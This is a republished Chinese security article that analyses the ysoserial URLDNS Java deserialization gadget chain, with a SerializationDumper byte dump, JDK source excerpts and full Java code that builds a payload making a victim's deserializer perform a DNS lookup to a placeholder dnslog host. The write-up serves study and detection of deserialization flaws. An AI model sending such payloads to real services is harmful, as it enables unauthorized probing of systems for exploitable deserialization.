Redian新闻
>
URLDNS Gadget分析

URLDNS Gadget分析

科技

前言

URLDNS是ysoserial中比较简单的gadget,可以通过分析其利用链来了解反序列化执行java代码的过程。相较于其他gadget,URLDNS不依赖于第三方类和不限制jdk版本的属性使其成为应用最多的探测Java反序列化命令执行的payload。

示例

使用ysoserial生成URLDNS gadget payload

java -jar ysoserial.jar URLDNS "http://xxxx.ceye.io" > 1.ser



desEmploy.java readObject()反序列化该字节序列,实现dns解析




使用SerializationDumper查看字节序列内容。

STREAM_MAGIC - 0xac edSTREAM_VERSION - 0x00 05Contents  TC_OBJECT - 0x73    TC_CLASSDESC - 0x72      className        Length - 17 - 0x00 11        Value - java.util.HashMap - 0x6a6176612e7574696c2e486173684d6170      serialVersionUID - 0x05 07 da c1 c3 16 60 d1      newHandle 0x00 7e 00 00      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE      fieldCount - 2 - 0x00 02      Fields        0:          Float - F - 0x46          fieldName            Length - 10 - 0x00 0a            Value - loadFactor - 0x6c6f6164466163746f72        1:          Int - I - 0x49          fieldName            Length - 9 - 0x00 09            Value - threshold - 0x7468726573686f6c64      classAnnotations        TC_ENDBLOCKDATA - 0x78      superClassDesc        TC_NULL - 0x70    newHandle 0x00 7e 00 01    classdata      java.util.HashMap        values          loadFactor            (float)1.06115891E9 - 0x3f 40 00 00          threshold            (int)12 - 0x00 00 00 0c        objectAnnotation          TC_BLOCKDATA - 0x77            Length - 8 - 0x08            Contents - 0x0000001000000001          TC_OBJECT - 0x73            TC_CLASSDESC - 0x72              className                Length - 12 - 0x00 0c                Value - java.net.URL - 0x6a6176612e6e65742e55524c              serialVersionUID - 0x96 25 37 36 1a fc e4 72              newHandle 0x00 7e 00 02              classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE              fieldCount - 7 - 0x00 07              Fields                0:                  Int - I - 0x49                  fieldName                    Length - 8 - 0x00 08                    Value - hashCode - 0x68617368436f6465                1:                  Int - I - 0x49                  fieldName                    Length - 4 - 0x00 04                    Value - port - 0x706f7274                2:                  Object - L - 0x4c                  fieldName                    Length - 9 - 0x00 09                    Value - authority - 0x617574686f72697479                  className1                    TC_STRING - 0x74                      newHandle 0x00 7e 00 03                      Length - 18 - 0x00 12                      Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b                3:                  Object - L - 0x4c                  fieldName                    Length - 4 - 0x00 04                    Value - file - 0x66696c65                  className1                    TC_REFERENCE - 0x71                      Handle - 8257539 - 0x00 7e 00 03                4:                  Object - L - 0x4c                  fieldName                    Length - 4 - 0x00 04                    Value - host - 0x686f7374                  className1                    TC_REFERENCE - 0x71                      Handle - 8257539 - 0x00 7e 00 03                5:                  Object - L - 0x4c                  fieldName                    Length - 8 - 0x00 08                    Value - protocol - 0x70726f746f636f6c                  className1                    TC_REFERENCE - 0x71                      Handle - 8257539 - 0x00 7e 00 03                6:                  Object - L - 0x4c                  fieldName                    Length - 3 - 0x00 03                    Value - ref - 0x726566                  className1                    TC_REFERENCE - 0x71                      Handle - 8257539 - 0x00 7e 00 03              classAnnotations                TC_ENDBLOCKDATA - 0x78              superClassDesc                TC_NULL - 0x70            newHandle 0x00 7e 00 04            classdata              java.net.URL                values                  hashCode                    (int)-1 - 0xff ff ff ff                  port                    (int)-1 - 0xff ff ff ff                  authority                    (object)                      TC_STRING - 0x74                        newHandle 0x00 7e 00 05                        Length - 14 - 0x00 0e                        Value - m.ceye.io - 0x6963696d77382e636579652e696f                  file                    (object)                      TC_STRING - 0x74                        newHandle 0x00 7e 00 06                        Length - 0 - 0x00 00                        Value -  - 0x                  host                    (object)                      TC_REFERENCE - 0x71                        Handle - 8257541 - 0x00 7e 00 05                  protocol                    (object)                      TC_STRING - 0x74                        newHandle 0x00 7e 00 07                        Length - 4 - 0x00 04                        Value - http - 0x68747470                  ref                    (object)                      TC_NULL - 0x70                objectAnnotation                  TC_ENDBLOCKDATA - 0x78          TC_STRING - 0x74            newHandle 0x00 7e 00 08            Length - 21 - 0x00 15            Value - http://xxx.ceye.io - 0x687474703a2f2f6963696d77382e636579652e696f          TC_ENDBLOCKDATA - 0x78

根据输出结果得出:className,这是一个HashMap对象序列化后的字节序列;classDescFlags为3,表示该类重写了readObject方法;classdata,HashMap中key&value是一个URL对象。

Gadget chains跟进分析

Gadget chains

HashMap.readObjetc()  HashMap.putVal()    HashMap.hash()      URL.hashCode()        URLStreamHandler.hashCode()            URLStreamHandler.getHostAddress()


根据SerializationDumper给出的信息,可以看出该payload的利用需要HashMap.readObject()方法来反序列化。

HashMap.readOject()

 private void readObject(java.io.ObjectInputStream s)        throws IOException, ClassNotFoundException {        // Read in the threshold (ignored), loadfactor, and any hidden stuff        s.defaultReadObject();        reinitialize();        if (loadFactor <= 0 || Float.isNaN(loadFactor))            throw new InvalidObjectException("Illegal load factor: " +                                             loadFactor);        s.readInt();                // Read and ignore number of buckets        int mappings = s.readInt(); // Read number of mappings (size)        if (mappings < 0)            throw new InvalidObjectException("Illegal mappings count: " +                                             mappings);        else if (mappings > 0) { // (if zero, use defaults)            // Size the table using given load factor only if within            // range of 0.25...4.0            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);            float fc = (float)mappings / lf + 1.0f;            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?                       DEFAULT_INITIAL_CAPACITY :                       (fc >= MAXIMUM_CAPACITY) ?                       MAXIMUM_CAPACITY :                       tableSizeFor((int)fc));            float ft = (float)cap * lf;            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?                         (int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab;
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }

putVal(hash(key), key, value, false, false)-->HashMap.hash()

static final int hash(Object key) {        int h;        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);    }

key.hashCode()-->URL.hashCode()

 public synchronized int hashCode() {        if (hashCode != -1)            return hashCode;
hashCode = handler.hashCode(this); return hashCode; }

payload中URL对象hashCode为-1,进入handler.hashCode(this)-->URLStreamHandler.hashCode()

protected int hashCode(URL u) {        int h = 0;
// Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode();
// Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); }
// Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode();
// Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort();
// Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode();
return h; }

InetAddress addr = getHostAddress(u),触发dns请求。

URLDNS Gadget payload构造

上面分析了URLDNS Gadget是如何触发的,逆推就可得出payload的生成方法。

import java.net.URL;import java.util.HashMap;
public class genURLPoc {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap hashMap = new HashMap<>(); URL url = new URL("http://xxx.ceye.io"); hashMap.put(url,123); }}

此时url的hashcode为默认值-1,当进行HashMap.put(),时会重新计算hash(key)触发dns请求即生成payload时dnslog就会收到dns请求,会对检查结果产生影响。




需要修改默认的hashcode为除-1外的任意值,使生成payload时不触发dns请求。由于hashCode使用private修饰,所以需要反射的方式来修改其值,put进hashMap后再将其修改为-1,完整payload如下。

import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;
public class genURLPoc {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap hashMap = new HashMap<>(); URL url = new URL("http://xxx.ceye.io");
//通过反射修改hashCode, Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url,123); System.out.println(url.hashCode()); hashMap.put(url,123); f.set(url,-1);
//序列化hashMap,储存于urldns.ser try{ FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(hashMap); outputStream.close(); fileOutputStream.close(); }catch(Exception e){ e.printStackTrace(); }
}
}

使用之前实验用的desEmploy.java反序列化urldns.ser,dnslog收到请求。




E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章400余篇,自研平台达到31个,目有18个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们


微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。
相关阅读
继续讨论对自己的投资--维持你的大脑不老。唐山打人事件又曝内幕,这一次我不愿为girls help girls欢呼加州大海,春暖花开马克谈天下(270) 教皇为乌克兰和俄罗斯祈祷麻州州长贝克再次成为美国最受欢迎的州长!唐人街周六庆祝世界太极日 World Tai Chi Day范俭、王申、陈东楠领衔,多部华语纪录片入围Doc Edge电影节早报 | DKNY母公司2亿美元收购Karl Lagerfeld;谷歌高管加入开云集团董事会;2022年Met Gala开幕月下载量超400万次,动森幼齿风的《Stories World》全球成功了?使用 Podman 运行一个 “hello world” MLCube | Linux 中国Burnt Out and On Edge, China’s Coders Hunt Options AbroadIE退役,Edge难收微软失地手游《Pokemon World》海外神秘开测,中国厂商开发的?[摄影] 龙马之争!副厂广角大决战 适马14-24 F2.8 DG DN VS 腾龙17-28 F2.8Fudgie?令人惊叹的 Budgie 桌面即将登陆 Fedora Linux | Linux 中国World of Hyatt 新增大量全包度假村酒店硬核观察 #626 六个月后,PCWorld 仍然认为没必要升级 Windows 11Cambridge,Arlington,Belmont学区敦促学生戴口罩当年十六铺码头邂逅“山羊胡” (中)【新卡发布,40k 开卡奖励】Cardless LATAM World Elite Mastercard 信用卡Coatue最新42页PPT分享,科技股熊市的多米诺骨牌Their Secret Sales Weapons? Language LessonsAmazon Turns the Page on Its Chinese Kindle Bookstore【6.13今日折扣】《怪奇物语》音乐剧£3起开票!Sainsbury's新用户满£60减£15!Selfridges大牌Worldbox肥腿女素体:还真是“微胖”的妹子有韵味!Obicetrapib降低LDL-C达50%,CETP抑制剂能否“卷土重来”|EAS 2022热点速递​Cambridge宣布扩张发钱计划,每月2000人可拿到500支票!(企业分析)如何下手开始企业分析?--- 从底层逻辑向上做企业分析(第一课)Worldbox“走私客”吴镇宇:市井黑帮造型的靓坤+倪永孝!如何利用 “恶魔” 形象来教学?| Physics World 专栏周末愉快 包饺子距迪士尼仅18分钟,佛州最大商场旁楼盘Atria at Ridgewood Lakes,步行达高尔夫球场【暑期课程】6月写作竞赛:纽约时报,Scholastic,Write the World等顶级竞赛准备中!An Online Series on Male Baldness Scrutinizes Appearance Anxiety博士“霉霉”纽约大学2022毕业演讲:虽没有正常的大学生活,You get what you get!CommonCollections1 Gadget分析
logo
联系我们隐私协议©2024 redian.news
Redian新闻
Redian.news刊载任何文章,不代表同意其说法或描述,仅为提供更多信息,也不构成任何建议。文章信息的合法性及真实性由其作者负责,与Redian.news及其运营公司无关。欢迎投稿,如发现稿件侵权,或作者不愿在本网发表文章,请版权拥有者通知本网处理。